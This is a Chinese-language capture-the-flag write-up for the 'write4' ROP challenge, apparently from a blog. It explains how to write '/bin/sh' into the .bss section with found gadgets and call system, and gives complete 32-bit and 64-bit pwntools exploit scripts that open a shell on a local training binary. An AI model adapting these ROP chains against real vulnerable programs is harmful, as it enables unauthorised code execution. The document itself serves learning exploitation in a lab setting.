write4

32位
checksec,开了NX


进入 ida 查看,溢出点还是在 pwnme 函数,可以看到程序中存在 system 函数,但是没有 /bin/sh 字符串

pwnme

system

所以需要在 bss 段或者 data 段写入 /bin/sh 字符串,Ctrl+s 查看 bss 段或者 data 段的权限


这里选择在 bss 段中写入,ida 查看 bss 段的地址


由于是32位程序,一次只能写入4个字节,所以 /bin/sh 需要分两次写入 bss 段
利用 ROPgadget 查找可用的 gadget



可以用以下指令写入数据:
第一条指令 edi 存的是要写入 bss 段的所在位置地址,ebp 存的是要写入的数据
第二条指令是指将 ebp 中的内容写到 edi 内存的所在地址

pop edi ; pop ebp ; ret
mov dword ptr [edi], ebp ; ret

exp

#!/usr/bin/env python
#-*-coding:utf-8 -*-
from pwn import *

p = process('./write432')

bss = 0x0804A040
system = 0x08048430
pop_edi_ebp = 0x080486da
mov_edi_ebp = 0x08048670

payload = 'A' * 0x28 + p32(0)
payload += p32(pop_edi_ebp) + p32(bss) + '/bin' + p32(mov_edi_ebp)
payload += p32(pop_edi_ebp) + p32(bss+4) + '/sh\x00' + p32(mov_edi_ebp)
payload += p32(system) + p32(0) + p32(bss)  #这里的p32(0)不是很懂

p.sendline(payload)
p.interactive()

64位
思路和32位一致,由于是64位程序, 字符串 /bin/sh 不用分开写
还是写入 bss 段,在 ida 里找 bss 段和 system 函数的地址

bss

system

利用 ROPgadget 找可用的 gadget


这里用
pop rdi ; ret  #64位的数据不是直接传入栈里面的,需要一个pop来将system和/bin/sh的地址接收
pop r14 ; pop r15 ; ret
mov qword ptr [r14], r15 ; ret

exp

#!/usr/bin/env python
#-*-coding:utf-8 -*-
from pwn import *

p = process('./write4')

system = 0x04005E0
bss = 0x0601060
pop_rdi = 0x0400893
pop_r14_r15 = 0x0400890
mov_r14_r15 = 0x0400820

payload = 'A' * 0x20 + p64(0)
payload += p64(pop_r14_r15)
payload += p64(bss) + '/bin/sh\x00'  #'/bin/sh\x00'补充到8个字节
payload += p64(mov_r14_r15)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(system)

p.sendline(payload)
p.interactive()

你可能感兴趣的:(write4)